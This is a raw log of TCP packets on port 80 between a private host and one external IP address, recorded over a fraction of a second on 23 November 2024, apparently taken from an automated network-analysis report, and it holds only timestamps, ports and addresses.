Nov 23, 2024 13:28:17.361459970 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.362227917 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.362308979 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.362339973 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.362401009 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.363199949 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.363270044 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.363327980 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.363375902 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.364217997 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.364285946 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.364319086 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.364362001 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.365185022 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.365247011 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.365267038 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.365288973 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.366164923 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.366213083 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.366269112 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.366424084 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.367177963 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.367218018 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.367225885 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.367337942 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.368143082 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.368191957 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.368226051 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.368284941 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.369144917 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.369205952 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.369251013 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.369251013 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.370064020 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.370111942 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.519917965 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.520035982 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.520108938 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.520266056 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.520430088 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.520488977 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.520545006 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.520592928 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.521410942 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.521480083 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.521507978 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.521544933 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.522366047 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.522474051 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.522475958 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.522540092 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.523344994 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.523458004 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.523459911 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.523494959 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.524341106 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.524414062 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.524472952 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.524518967 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.525304079 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.525373936 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.525413036 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.525475979 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.526343107 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.526407957 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.526443958 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.526545048 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.527287960 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.527343988 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.527383089 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.527473927 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.528254986 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.528369904 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.528373003 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.528407097 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.529259920 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.529315948 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.529334068 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.529395103 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.530227900 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.530275106 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.530335903 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.530390024 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.531202078 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.531244040 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.531307936 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.531403065 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.532196045 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.532290936 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.532305956 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.532352924 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.533183098 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.533257008 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.533323050 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.533370018 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.534158945 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.534259081 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.534276009 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.534339905 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.535144091 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.535195112 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.535263062 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.535327911 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.536137104 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.536176920 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.536317110 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.536382914 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.537221909 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.537332058 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.537384987 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.537467003 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.538095951 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.538176060 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.538204908 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.538247108 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.539094925 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.539181948 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.539222002 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.539279938 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.540426970 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.540503025 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.540515900 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.540652037 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.541095972 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.541203976 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.541218042 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.541261911 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.542068005 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.542113066 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.542155027 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.542206049 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.542998075 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.543059111 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.543113947 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.543153048 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.544001102 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.544058084 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.544112921 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.544184923 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.544989109 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.545097113 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.545137882 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.545137882 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.545967102 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.546073914 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.546124935 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.546124935 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.546935081 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.547005892 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.547049046 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.547173023 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.547926903 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.547981977 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.548027992 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.548151970 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.548921108 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.549031019 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.549034119 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.549077034 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.549906015 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.549957037 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.550004005 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.550050020 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.550889969 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.550944090 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.550990105 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.551126957 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.551856041 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.551906109 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.551975965 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.552022934 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.552839994 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.552884102 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.552906990 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.552953959 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.553828001 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.553908110 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.553946018 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.553996086 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.554822922 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.554888964 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.554903030 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.554976940 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.555824995 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.555876970 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.555932045 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.556018114 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.556916952 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.556997061 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.557040930 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.557040930 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.557981968 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.558057070 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.558094025 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.558094978 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.558743954 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.558836937 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.558861017 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.558955908 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.559753895 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.559811115 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.559895039 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.559940100 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.560719967 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.560792923 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.560832977 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.560887098 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.561692953 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.561765909 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.561820030 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.561885118 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.562688112 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.562799931 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.562804937 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.562844992 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.563666105 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.563713074 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.563783884 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.563868999 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.564651966 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.564708948 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.564747095 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.564798117 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.565701008 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.565713882 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.565758944 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.565758944 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.566649914 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.566713095 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.566755056 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.566817045 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.567604065 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.567703009 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.567719936 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.567764997 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.568634033 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.568712950 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.568732023 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.568794966 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.569574118 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.569632053 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.569650888 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.569696903 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.570576906 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.570640087 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.570710897 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.570768118 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.571491957 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.571707010 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.752885103 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.753017902 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.753107071 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.753171921 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.753365993 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.753420115 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.753470898 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.753516912 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.754404068 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.754458904 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.754482031 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.754538059 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.755259991 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.755337954 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.755593061 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.755640030 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.755693913 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.755784035 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.756596088 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.756666899 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.756700993 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.756750107 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.757659912 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.757739067 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.757793903 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.757850885 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.758554935 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.758634090 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.758640051 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.758716106 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.759510994 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.759567022 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.759635925 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.759691000 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.760503054 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.760570049 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.760603905 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.760705948 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.761482000 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.761543989 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.761581898 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.761634111 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.762476921 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.762573957 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.762583971 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.762626886 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.763474941 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.763561010 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.763583899 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.763645887 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.764437914 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.764523029 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.764552116 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.764650106 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.765594006 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.765618086 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.765664101 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.765681982 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.766410112 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.766493082 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.766527891 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.766639948 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.767399073 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.767477989 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.767503023 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.767549038 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.768368959 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.768466949 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.768467903 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.768548965 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.769432068 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.769535065 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.769536972 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.769640923 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.770325899 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.770457983 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.770463943 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.770525932 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.771317005 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.771384001 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.771433115 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.771666050 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.772293091 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.772376060 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.772406101 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.772473097 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.773308992 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.773364067 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:17.773365974 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.773427010 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:17.774285078 CET	80	49729	31.41.244.11	192.168.2.6
